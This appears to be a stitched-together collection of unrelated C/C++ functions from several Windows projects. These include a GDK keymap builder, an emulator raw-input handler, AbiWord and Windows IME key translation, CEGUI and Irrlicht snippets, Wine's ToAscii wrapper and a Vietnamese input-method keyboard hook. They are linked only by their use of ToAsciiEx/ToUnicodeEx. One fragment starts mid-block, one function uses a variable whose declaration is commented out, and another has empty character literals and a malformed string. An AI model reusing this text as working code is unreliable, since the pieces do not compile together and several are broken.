static void update_keymap (void) { static guint current_serial = 0; guchar key_state[256]; guint scancode; guint vk; gboolean capslock_tested = FALSE; if (keysym_tab != NULL && current_serial == _gdk_keymap_serial) return; current_serial = _gdk_keymap_serial; if (keysym_tab == NULL) keysym_tab = g_new (guint, 4*256); memset (key_state, 0, sizeof (key_state)); _gdk_keyboard_has_altgr = FALSE; gdk_shift_modifiers = GDK_SHIFT_MASK; for (vk = 0; vk < 256; vk++) { if ((scancode = MapVirtualKey (vk, 0)) == 0 && vk != VK_DIVIDE) keysym_tab[vk*4+0] = keysym_tab[vk*4+1] = keysym_tab[vk*4+2] = keysym_tab[vk*4+3] = GDK_VoidSymbol; else { gint shift; if (vk == VK_RSHIFT) _scancode_rshift = scancode; key_state[vk] = 0x80; for (shift = 0; shift < 4; shift++) { guint *ksymp = keysym_tab + vk*4 + shift; set_shift_vks (key_state, shift); *ksymp = 0; /* First, handle those virtual keys that we always want * as special GDK_* keysyms, even if ToAsciiEx might * turn some them into a ASCII character (like TAB and * ESC). */ handle_special (vk, ksymp, shift); if (*ksymp == 0) { wchar_t wcs[10]; gint k; wcs[0] = wcs[1] = 0; k = ToUnicodeEx (vk, scancode, key_state, wcs, G_N_ELEMENTS (wcs), 0, _gdk_input_locale); #if 0 g_print ("ToUnicodeEx(%#02x, %d: %d): %d, %04x %04x\n", vk, scancode, shift, k, wcs[0], wcs[1]); #endif if (k == 1) *ksymp = gdk_unicode_to_keyval (wcs[0]); else if (k == -1) { guint keysym = gdk_unicode_to_keyval (wcs[0]); /* It is a dead key, and it's has been stored in * the keyboard layout's state by * ToAsciiEx()/ToUnicodeEx(). Yes, this is an * incredibly silly API! Make the keyboard * layout forget it by calling * ToAsciiEx()/ToUnicodeEx() once more, with the * virtual key code and scancode for the * spacebar, without shift or AltGr. Otherwise * the next call to ToAsciiEx() with a different * key would try to combine with the dead key. */ reset_after_dead (key_state); /* Use dead keysyms instead of "undead" ones */ handle_dead (keysym, ksymp); } else if (k == 0) { /* Seems to be necessary to "reset" the keyboard layout * in this case, too. Otherwise problems on NT4. */ reset_after_dead (key_state); } else { #if 0 GDK_NOTE (EVENTS, g_print ("ToUnicodeEx returns %d " "for vk:%02x, sc:%02x%s%s\n", k, vk, scancode, (shift&0x1 ? " shift" : ""), (shift&0x2 ? " altgr" : ""))); #endif } } if (*ksymp == 0) *ksymp = GDK_VoidSymbol; } key_state[vk] = 0; /* Check if keyboard has an AltGr key by checking if * the mapping with Control+Alt is different. */ if (!_gdk_keyboard_has_altgr) if ((keysym_tab[vk*4 + 2] != GDK_VoidSymbol && keysym_tab[vk*4] != keysym_tab[vk*4 + 2]) || (keysym_tab[vk*4 + 3] != GDK_VoidSymbol && keysym_tab[vk*4 + 1] != keysym_tab[vk*4 + 3])) _gdk_keyboard_has_altgr = TRUE; if (!capslock_tested) { /* Can we use this virtual key to determine the CapsLock * key behaviour: CapsLock or ShiftLock? If it generates * keysyms for printable characters and has a shifted * keysym that isn't just the upperacase of the * unshifted keysym, check the behaviour of VK_CAPITAL. */ if (g_unichar_isgraph (gdk_keyval_to_unicode (keysym_tab[vk*4 + 0])) && keysym_tab[vk*4 + 1] != keysym_tab[vk*4 + 0] && g_unichar_isgraph (gdk_keyval_to_unicode (keysym_tab[vk*4 + 1])) && keysym_tab[vk*4 + 1] != gdk_keyval_to_upper (keysym_tab[vk*4 + 0])) { guchar chars[2]; capslock_tested = TRUE; key_state[VK_SHIFT] = 0; key_state[VK_CONTROL] = key_state[VK_MENU] = 0; key_state[VK_CAPITAL] = 1; if (ToAsciiEx (vk, scancode, key_state, (LPWORD) chars, 0, _gdk_input_locale) == 1) { if (chars[0] >= GDK_space && chars[0] <= GDK_asciitilde && chars[0] == keysym_tab[vk*4 + 1]) { /* CapsLock acts as ShiftLock */ gdk_shift_modifiers |= GDK_LOCK_MASK; } } key_state[VK_CAPITAL] = 0; } } } } GDK_NOTE (EVENTS, print_keysym_tab ()); }
static void process_keyboard_input(LPRAWINPUT raw_input) { //LPRAWKEYBOARD raw_keyboard = &(raw_input->data.keyboard); //int vkey = raw_keyboard->VKey; //int vkey = raw_keyboard->VKey; //int flags = raw_keyboard->Flags; // int vkey = raw_input->data.keyboard.VKey; int flags = raw_input->data.keyboard.Flags; int make_code = raw_input->data.keyboard.MakeCode; if (g_fs_log_input) { fs_log("vkey...: %d (0x%x) make %d extra %d flags %d E0 %d E1 %d\n", vkey, vkey, raw_input->data.keyboard.MakeCode, raw_input->data.keyboard.ExtraInformation, flags, (flags & RI_KEY_E0) != 0, (flags & RI_KEY_E1) != 0); } #ifdef USE_MAKECODES vkey = make_code; if (flags & RI_KEY_E0) { vkey += NUM_VKEYS; } else if (flags & RI_KEY_E1) { vkey += 2 * NUM_VKEYS; } #else /* Special cases */ if (make_code == 54) { /* For some reason, flags is not set properly for right shift */ vkey = VK_SHIFT + E0; } else if (flags & RI_KEY_E0) { vkey += NUM_VKEYS; } else if (flags & RI_KEY_E1) { vkey += 2 * NUM_VKEYS; } #endif int update_mod = 0; int state = ((flags & RI_KEY_BREAK) == 0); switch (vkey) { case 42: g_mod_lshift = state; //mod_shift = g_mod_lshift || g_mod_rshift; update_mod = 1; break; case 54: g_mod_rshift = state; //mod_shift = g_mod_lshift || g_mod_rshift; update_mod = 1; break; case 29: g_mod_lctrl = state; //mod_ctrl = g_mod_lctrl || g_mod_rctrl; update_mod = 1; break; case E0 + 29: g_mod_rctrl = state; //mod_ctrl = g_mod_lctrl || g_mod_rctrl; update_mod = 1; break; case 56: g_mod_lalt = state; //mod_alt = g_mod_lalt || g_mod_ralt; update_mod = 1; break; case E0 + 56: g_mod_ralt = state; update_mod = 1; break; case 87: g_mod_f11 = state; update_mod = 1; break; case 88: g_mod_f12 = state; update_mod = 1; break; } static unsigned char keyboard_state[256] = {}; //GetKeyboardState(keyboard_state); if (update_mod) { if (g_mod_lshift || g_mod_rshift) { g_mod = g_mod | KMOD_SHIFT; keyboard_state[VK_SHIFT] = 0x80; } else { g_mod = g_mod & ~KMOD_SHIFT; keyboard_state[VK_SHIFT] = 0x0; } if (g_mod_lctrl || g_mod_rctrl) { g_mod = g_mod | KMOD_CTRL; keyboard_state[VK_CONTROL] = 0x80; } else { g_mod = g_mod & ~KMOD_CTRL; keyboard_state[VK_CONTROL] = 0x0; } if (g_mod_lalt || g_mod_ralt) { g_mod = g_mod | KMOD_ALT; keyboard_state[VK_MENU] = 0x80; } else { g_mod = g_mod & ~KMOD_ALT; keyboard_state[VK_MENU] = 0x0; } if (g_mod_f11) { g_mod = g_mod | FS_ML_KEY_MOD_F11; } else { g_mod = g_mod & ~FS_ML_KEY_MOD_F11; } if (g_mod_f12) { g_mod = g_mod | FS_ML_KEY_MOD_F12; } else { g_mod = g_mod & ~FS_ML_KEY_MOD_F12; } } int key_code = g_key_mapping[vkey]; WORD character = 0; if (!g_is_modifier_key[key_code]) { ToAsciiEx(raw_input->data.keyboard.VKey, raw_input->data.keyboard.MakeCode, keyboard_state, &character, 0, g_keyboard_layout); //printf("%d %d => %d\n", raw_input->data.keyboard.VKey, // raw_input->data.keyboard.MakeCode, character); if (character > 128) { character = 0; } if (state == 1) { fs_ml_event *event = fs_ml_alloc_event(); event->type = FS_ML_TEXTINPUT; event->text.text[0] = character; event->text.text[1] = '\0'; fs_ml_post_event(event); } } if (state == 0) { // key is up if (vkey <= MAX_VKEY && g_key_state[vkey]) { g_key_state[vkey] = 0; fs_ml_event *event = fs_ml_alloc_event(); event->type = FS_ML_KEYUP; event->key.keysym.sym = key_code; event->key.keysym.mod = g_mod; //event->key.keysym.unicode = character; event->key.state = 0; fs_ml_post_event(event); } } else { // key is down if (vkey <= MAX_VKEY && !g_key_state[vkey]) { //fs_log("down\n"); g_key_state[vkey] = 1; fs_ml_event *event = fs_ml_alloc_event(); event->type = FS_ML_KEYDOWN; event->key.keysym.sym = key_code; event->key.keysym.mod = g_mod; //event->key.keysym.unicode = character; event->key.state = 1; //fs_log("code: %d\n", event->key.code); fs_ml_post_event(event); } } }
tCHAR F_API INPKBGetAscii(u8 kCode) { tCHAR retvalue = L''; char asciichar[256]; memset(asciichar,0, sizeof(char)*256); HKL layout = GetKeyboardLayout(0); u8 State[256]; u32 scancode; memset(State, 0, sizeof (u8) * 256); u32 vk = MapVirtualKeyEx(kCode,1,layout); bool returnvaluegetkeyb = GetKeyboardState(State); //This function returns crap if we are in exclusive mode //CODE TO CHECK OS VERSION, //ToUnicodeEx doesn't work in win98,me OSVERSIONINFO osvi; ZeroMemory(&osvi, sizeof(OSVERSIONINFO)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx((OSVERSIONINFO*)&osvi); //Should move this function to initialization //VER_PLATFORM_WIN32_NT //WinNT4 to Win2003 //VER_PLATFORM_WIN32_WINDOWS //Windows 95, Windows 98, or Windows Me. if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) //Crappy Versions of Windows Without Unicode { int returnvalascii = ToAsciiEx(vk, kCode, State, (unsigned short *)asciichar, 0, layout); if(returnvalascii > 0) { int retrunvaluembtowcs = mbstowcs(&retvalue, asciichar, 1); if(retrunvaluembtowcs == -1) //some error retvalue = L''; } else retvalue = L''; } else //Good versions of widnows with Unicode { s32 retvalunicode = ToUnicodeEx(vk, kCode, State, &retvalue, 1, 0, layout); if(retvalunicode <= 0) // -1 or 0 mean error or no character was translated retvalue = L''; } /* HKL layout = GetKeyboardLayout(0); unsigned char State[256]; if (GetKeyboardState(State)==FALSE) return 0; unsigned int vk = MapVirtualKeyEx(scancode,1,layout); return ToAsciiEx(vk,scancode,State,(unsigned short *)result,0,layout); */ /* BOOL bIsWindowsVersionOK(DWORD dwMajor, DWORD dwMinor, DWORD dwSPMajor ) { OSVERSIONINFO osvi; // Initialize the OSVERSIONINFO structure. // ZeroMemory(&osvi, sizeof(OSVERSIONINFO)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx((OSVERSIONINFO*)&osvi); // First the major version if ( osvi.dwMajorVersion > dwMajor ) return TRUE; else if ( osvi.dwMajorVersion == dwMajor ) { // Then the minor if (osvi.dwMinorVersion > dwMinor ) return TRUE; else if (osvi.dwMinorVersion == dwMinor ) { // OK, better check the Service Pack if ( dwSPMajor && osvi.dwPlatformId == VER_PLATFORM_WIN32_NT ) { HKEY hKey; DWORD dwCSDVersion; DWORD dwSize; BOOL fMeetsSPRequirement = FALSE; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, System\\CurrentControlSet\\Control\\Windows", 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) { dwSize = sizeof(dwCSDVersion); if (RegQueryValueEx(hKey, "CSDVersion", NULL, NULL, (unsigned char*)&dwCSDVersion, &dwSize) == ERROR_SUCCESS) { fMeetsSPRequirement = (LOWORD(dwCSDVersion) >= dwSPMajor); } RegCloseKey(hKey); } return fMeetsSPRequirement; } return TRUE; } } return FALSE; } */ return retvalue; }
/* Processes WM_KEYDOWN messages related to special keys */ bool ev_Win32Keyboard::onKeyDown(AV_View * pView, HWND /*hWnd*/, UINT /*iMsg*/, WPARAM nVirtKey, LPARAM keyData) { m_bWasAnAbiCommand = false; EV_EditMethod * pEM; EV_EditModifierState ems = _getModifierState(); EV_EditBits nvk; int charLen; UT_UCSChar charData[2]; UT_DEBUGMSG(("WIN32KEY_DEBUG->onKeyDown %x, %x\n", nVirtKey, keyData)); // ALT key for windows {menus, ... }, ALT+XXX for special chars, etc if (((ems & EV_EMS_ALT) != 0) && ((ems & EV_EMS_CONTROL) == 0)) { #ifdef _WIN32KEY_DEBUG UT_DEBUGMSG(("WIN32KEY_DEBUG->onKeyDown return true (EV_EMS_CONTROL)\n")); #endif return true; } /* This is a Alt+gr combination in an international keyboard */ if (GetKeyState(VK_RMENU) & 0x8000) { #ifdef _WIN32KEY_DEBUG UT_DEBUGMSG(("WIN32KEY_DEBUG->Alt+gr (EV_EMS_CONTROL)\n")); #endif return true; } // Get abiword keyid nvk = s_mapVirtualKeyCodeToNVK(nVirtKey); // If it is not a special key or a CTRL combination, there is nothing to do if (nvk == EV_NVK__IGNORE__ || (nvk == 0 && ((ems & EV_EMS_CONTROL) == 0))) { #ifdef _WIN32KEY_DEBUG UT_DEBUGMSG(("WIN32KEY_DEBUG->onKeyDown return true (IGNORE)\n")); #endif return true; } if (nvk != 0) { // Special key charLen = 0; charData[0] = nvk; } else { // Non-special key with CTRL #if 0 // this causes bug 9618 WCHAR char_value[2]; BYTE keyboardState[256]; ::GetKeyboardState(keyboardState); // Here we pretend the CTRL key is not pressed, otherwise windows will try and convert it // into a control code, this is not what we want keyboardState[VK_CONTROL] &= 0x7F; // mask off high bit if (ToAsciiEx(nVirtKey, keyData & 0x00FF0000, keyboardState, (unsigned short*) &char_value[0], 0, m_hKeyboardLayout)==0) return true; charLen = 1; charData[0] = UT_UCSChar(char_value [0] & 0x000000FF); charData[1] = 0; #else charLen = 1; charData[0] = (UT_UCS4Char)MapVirtualKeyEx(nVirtKey, 2, m_hKeyboardLayout); if(!charData[0]) // no mapping return true; charData[1] = 0; if((ems & EV_EMS_SHIFT) == 0) { // shift not pressed; MapVirtualKeyEx() always returns capital letter, so we // have to lowercase it charData[0] = UT_UCS4_tolower(charData[0]); } #endif } switch (m_pEEM->Keystroke(EV_EKP_PRESS | ems | charData[0], &pEM)) //#define EV_EKP_PRESS ((EV_EditKeyPress) 0x00800000) { case EV_EEMR_BOGUS_START: case EV_EEMR_BOGUS_CONT: case EV_EEMR_INCOMPLETE: // a non-terminal node in state machine return false; case EV_EEMR_COMPLETE: // a terminal node in state machine UT_ASSERT(pEM); invokeKeyboardMethod(pView, pEM, charData, charLen); m_bWasAnAbiCommand = true; return true; default: UT_ASSERT(0); return false; } return true; }
/***************************************************************************\ * ImmTranslateMessage (Called from user\client\ntstubs.c\TranslateMessage()) * * Call ImeToAsciiEx() * * History: * 01-Mar-1996 TakaoK Created \***************************************************************************/ BOOL ImmTranslateMessage( HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { HIMC hImc; PINPUTCONTEXT pInputContext; BOOL fReturn = FALSE; HKL hkl; PIMEDPI pImeDpi = NULL; PBYTE pbKeyState; PTRANSMSG pTransMsg; PTRANSMSGLIST pTransMsgList; DWORD dwSize; UINT uVKey; INT iNum; UNREFERENCED_PARAMETER(wParam); // // we're interested in only those keyboard messages. // switch (message) { case WM_KEYDOWN: case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: break; default: return FALSE; } // // input context is necessary for further handling // hImc = ImmGetContext(hwnd); pInputContext = ImmLockIMC(hImc); if (pInputContext == NULL) { ImmReleaseContext(hwnd, hImc); return FALSE; } // // At first, handle VK_PROCESSKEY generated by IME. // if (!pInputContext->fChgMsg) { if ((iNum=pInputContext->dwNumMsgBuf) != 0) { pTransMsg = (PTRANSMSG)ImmLockIMCC(pInputContext->hMsgBuf); if (pTransMsg != NULL) { ImmPostMessages(hwnd, hImc, iNum, pTransMsg); ImmUnlockIMCC(pInputContext->hMsgBuf); fReturn = TRUE; } pInputContext->dwNumMsgBuf = 0; } goto ExitITM; } pInputContext->fChgMsg = FALSE; // // retrieve the keyboard layout and IME entry points // hkl = GetKeyboardLayout( GetWindowThreadProcessId(hwnd, NULL) ); pImeDpi = ImmLockImeDpi(hkl); if (pImeDpi == NULL) { RIPMSG1(RIP_WARNING, "ImmTranslateMessage pImeDpi is NULL(hkl=%x)", hkl); goto ExitITM; } pbKeyState = ImmLocalAlloc(0, 256); if ( pbKeyState == NULL ) { RIPMSG0(RIP_WARNING, "ImmTranslateMessage out of memory" ); goto ExitITM; } if (!GetKeyboardState(pbKeyState)) { RIPMSG0(RIP_WARNING, "ImmTranslateMessage GetKeyboardState() failed" ); ImmLocalFree( pbKeyState ); goto ExitITM; } // // Translate the saved vkey into character code if needed // uVKey = pInputContext->uSavedVKey; if (pImeDpi->ImeInfo.fdwProperty & IME_PROP_KBD_CHAR_FIRST) { if (pImeDpi->ImeInfo.fdwProperty & IME_PROP_UNICODE) { WCHAR wcTemp; iNum = ToUnicode(pInputContext->uSavedVKey, // virtual-key code HIWORD(lParam), // scan code pbKeyState, // key-state array &wcTemp, // buffer for translated key 1, // size of buffer 0); if (iNum == 1) { // // hi word : unicode character code // hi byte of lo word : zero // lo byte of lo word : virtual key // uVKey = (uVKey & 0x00ff) | ((UINT)wcTemp << 16); } } else { WORD wTemp = 0; iNum = ToAsciiEx(pInputContext->uSavedVKey, // virtual-key code HIWORD(lParam), // scan code pbKeyState, // key-state array &wTemp, // buffer for translated key 0, // active-menu flag hkl); ImmAssert(iNum <= 2); if (iNum > 0) { // // hi word : should be zero // hi byte of lo word : character code // lo byte of lo word : virtual key // uVKey = (uVKey & 0x00FF) | ((UINT)wTemp << 8); if ((BYTE)uVKey == VK_PACKET) { // // If ANSI IME is wide vkey aware, its ImeToAsciiEx will receive the uVKey // as follows: // // 31 24 23 16 15 8 7 0 // +----------------+-----------------------------+-------------------+---------------+ // | 24~31:reserved | 16~23:trailing byte(if any) | 8~15:leading byte | 0~7:VK_PACKET | // +----------------+-----------------------------+-------------------+---------------+ // ImmAssert(pImeDpi->ImeInfo.fdwProperty & IME_PROP_ACCEPT_WIDE_VKEY); } else { uVKey &= 0xffff; } } } } dwSize = FIELD_OFFSET(TRANSMSGLIST, TransMsg) + TRANSMSGCOUNT * sizeof(TRANSMSG); pTransMsgList = (PTRANSMSGLIST)ImmLocalAlloc(0, dwSize); if (pTransMsgList == NULL) { RIPMSG0(RIP_WARNING, "ImmTranslateMessage out of memory" ); ImmLocalFree(pbKeyState); goto ExitITM; } pTransMsgList->uMsgCount = TRANSMSGCOUNT; iNum = (*pImeDpi->pfn.ImeToAsciiEx)(uVKey, HIWORD(lParam), pbKeyState, pTransMsgList, 0, hImc); if (iNum > TRANSMSGCOUNT) { // // The message buffer is not big enough. IME put messages // into hMsgBuf in the input context. // pTransMsg = (PTRANSMSG)ImmLockIMCC(pInputContext->hMsgBuf); if (pTransMsg != NULL) { ImmPostMessages(hwnd, hImc, iNum, pTransMsg); ImmUnlockIMCC(pInputContext->hMsgBuf); } #ifdef LATER // Shouldn't we need this ? fReturn = TRUE; #endif } else if (iNum > 0) { ImmPostMessages(hwnd, hImc, iNum, &pTransMsgList->TransMsg[0]); fReturn = TRUE; } ImmLocalFree(pbKeyState); ImmLocalFree(pTransMsgList); ExitITM: ImmUnlockImeDpi(pImeDpi); ImmUnlockIMC(hImc); ImmReleaseContext(hwnd, hImc); return fReturn; }
{ event.KeyInput.Key = (irr::EKEY_CODE)MapVirtualKey( ((lParam>>16) & 255), MY_MAPVK_VSC_TO_VK_EX ); if (lParam & 0x1000000) event.KeyInput.Key = irr::KEY_RMENU; } GetKeyboardState(allKeys); event.KeyInput.Shift = ((allKeys[VK_SHIFT] & 0x80)!=0); event.KeyInput.Control = ((allKeys[VK_CONTROL] & 0x80)!=0); // Handle unicode and deadkeys in a way that works since Windows 95 and nt4.0 // Using ToUnicode instead would be shorter, but would to my knowledge not run on 95 and 98. WORD keyChars[2]; UINT scanCode = HIWORD(lParam); int conversionResult = ToAsciiEx(wParam,scanCode,allKeys,keyChars,0,KEYBOARD_INPUT_HKL); if (conversionResult == 1) { WORD unicodeChar; MultiByteToWideChar( KEYBOARD_INPUT_CODEPAGE, MB_PRECOMPOSED, // default (LPCSTR)keyChars, sizeof(keyChars), (WCHAR*)&unicodeChar, 1 ); event.KeyInput.Char = unicodeChar; } else event.KeyInput.Char = 0;
/** *@brief キーコード(CEGUI::Key)を文字(CEGUI::utf32)に変換 CEGUI公式サイト(http://cegui.org.uk/wiki/DirectInput_to_CEGUI_utf32)のコードを一部変更(MITライセンス) * @param scanCode キーコード * @return 文字 */ CEGUI::utf32 keycodeToUTF32( unsigned int scanCode) { CEGUI::utf32 utf = 0; #ifdef _WIN32 BYTE keyboardState[256]; unsigned char ucBuffer[3]; static WCHAR deadKey = '\0'; HKL hklKeyboardLayout = GetKeyboardLayout(0); if (GetKeyboardState(keyboardState) == FALSE) return utf; UINT virtualKey = MapVirtualKeyEx(scanCode, 3, hklKeyboardLayout); if (virtualKey == 0) return utf; int ascii = ToAsciiEx(virtualKey, scanCode, keyboardState, (LPWORD) ucBuffer, 0, hklKeyboardLayout); if(deadKey != '\0' && ascii == 1) { WCHAR wcBuffer[3]; WCHAR out[3]; wcBuffer[0] = ucBuffer[0]; wcBuffer[1] = deadKey; wcBuffer[2] = '\0'; if( FoldStringW(MAP_PRECOMPOSED, (LPWSTR) wcBuffer, 3, (LPWSTR) out, 3) ) utf = out[0]; else { DWORD dw = GetLastError(); switch(dw) { case ERROR_INSUFFICIENT_BUFFER: case ERROR_INVALID_FLAGS: case ERROR_INVALID_PARAMETER: break; } } deadKey = '\0'; } else if (ascii == 1) { utf = ucBuffer[0]; deadKey = '\0'; } else { switch(ucBuffer[0]) { case 0x5E: deadKey = 0x302; break; case 0x60: deadKey = 0x300; break; case 0xA8: deadKey = 0x308; break; case 0xB4: deadKey = 0x301; break; case 0xB8: deadKey = 0x327; break; default: deadKey = ucBuffer[0]; } } #else #endif return utf; }
/**************************************************************************** * ToAscii (USER32.@) */ INT WINAPI ToAscii( UINT virtKey, UINT scanCode, const BYTE *lpKeyState, LPWORD lpChar, UINT flags ) { return ToAsciiEx(virtKey, scanCode, lpKeyState, lpChar, flags, GetKeyboardLayout(0)); }
//------------------------------------------------- LRESULT CALLBACK MyKeyHook(int code, WPARAM wParam, LPARAM lParam) { int keyType; unsigned short charBuf; if (!pShMem->Initialized) return 0; if (code < 0) return CallNextHookEx(pShMem->keyHook,code,wParam,lParam); // determine if current window is a console, if so returns TCHAR className[128]; className[0] = 0; GetClassName(GetForegroundWindow(), className, 128); if (_tcscmp(className, _T("ConsoleWindowClass")) == 0) return CallNextHookEx(pShMem->keyHook,code,wParam,lParam); GetKeyboardState(KeyState); HKL curLayout = GetKeyboardLayout(0); if (curLayout != OriginalLayout && curLayout != ViKeyboardLayout) OriginalLayout = curLayout; if (CheckSwitchKey(wParam,lParam) || CheckShortcuts(wParam, lParam)) return 1; if ((pShMem->vietKey || (pShMem->options.macroEnabled && pShMem->options.alwaysMacro)) && code == HC_ACTION && !ClipboardIsEmpty) { if (wParam != PasteKey1 && wParam != PasteKey2 && !(lParam & IsReleased)) { // postpone this key keybd_event(wParam, HIBYTE(LOWORD(lParam)), (lParam & IsExtended)? KEYEVENTF_EXTENDEDKEY : 0, 0); return 1; } if (wParam == PasteKey2 && (lParam & IsReleased)) { ClearClipboard(); } } if (CheckBack(wParam)) return 1; if ((pShMem->vietKey || (pShMem->options.macroEnabled && pShMem->options.alwaysMacro)) && (code == HC_ACTION) && !(lParam & IsReleased)) { // if (CheckBack(wParam)) return 1; if (PuttingBacks) { if (wParam != VK_BACK) { keybd_event(wParam, HIBYTE(LOWORD(lParam)), (lParam & IsExtended)? KEYEVENTF_EXTENDEDKEY : 0, 0); return 1; } return CallNextHookEx(pShMem->keyHook,code,wParam,lParam); } if (pShMem->keyMode != WINCP1258_CHARSET && LayoutChangeForced) { ActivateKeyboardLayout(OriginalLayout, 0); LayoutChangeForced = 0; } // HKL curLayout = GetKeyboardLayout(0); if (((KeyState[VK_CONTROL] & 0x80) == 0 && (KeyState[VK_MENU] & 0x80) == 0) || ( curLayout != UsKeyboardLayout && ClipboardIsEmpty)) { //(pShMem->inMethod == VIQR_INPUT || pShMem->inMethod == VIQR_STAR_INPUT) && int remap = 0; keyType = ToAscii(wParam,UINT(HIWORD(lParam)),KeyState, &charBuf, 0); if (keyType == 1 && UsKeyboardLayout && ViKeyboardLayout && (KeyState[VK_CONTROL] & 0x80) == 0 && (KeyState[VK_MENU] & 0x80) == 0 && curLayout == ViKeyboardLayout) { //need to remap unsigned short mappedChar; int res = ToAsciiEx(wParam, UINT(HIWORD(lParam)), KeyState, &mappedChar, 0, UsKeyboardLayout); if (res == 1 && ((unsigned char)mappedChar) != ((unsigned char)charBuf)) { charBuf = mappedChar; remap = 1; } } if (keyType == 1 || keyType < 0) { unsigned char c = (unsigned char)charBuf; if (wParam >= VK_NUMPAD0 && wParam <= VK_NUMPAD9) VnKbd.putChar(c); // don't process numeric keypad else { VnKbd.process(c); if (VnKbd.backs!=0 || VnKbd.keysPushed!=0) { if (keyType < 0) //dead key, one more back VnKbd.backs++; PushBacks(); return 1; } if (remap) { SHORT scanCode = VkKeyScan((unsigned char)charBuf); lParam = (scanCode << 16) + 1; PostMessage(GetFocus(), (pShMem->options.useIME)? WM_IME_CHAR : WM_CHAR, (unsigned char)charBuf, lParam); return 1; } } } else { if (wParam!=VK_SHIFT && wParam!=VK_INSERT && wParam != VK_MENU && wParam != VK_CONTROL && ClipboardIsEmpty) { ResetBuffer(); } } } else { if (wParam != VK_MENU && wParam != VK_CONTROL && ClipboardIsEmpty) { ResetBuffer(); } } } else if ((code == HC_ACTION) && !(lParam & IsReleased)) { if (LayoutChangeForced && OriginalLayout && GetKeyboardLayout(0) == ViKeyboardLayout && OriginalLayout != ViKeyboardLayout) { ActivateKeyboardLayout(OriginalLayout, 0); LayoutChangeForced = 0; if (ToAsciiEx(wParam, UINT(HIWORD(lParam)), KeyState, &charBuf, 0, OriginalLayout) == 1) { SHORT scanCode = VkKeyScan((unsigned char)charBuf); lParam = (scanCode << 16) + 1; PostMessage(GetFocus(), (pShMem->options.useIME)? WM_IME_CHAR : WM_CHAR, (unsigned char)charBuf, lParam); return 1; } } } return CallNextHookEx(pShMem->keyHook,code,wParam,lParam); }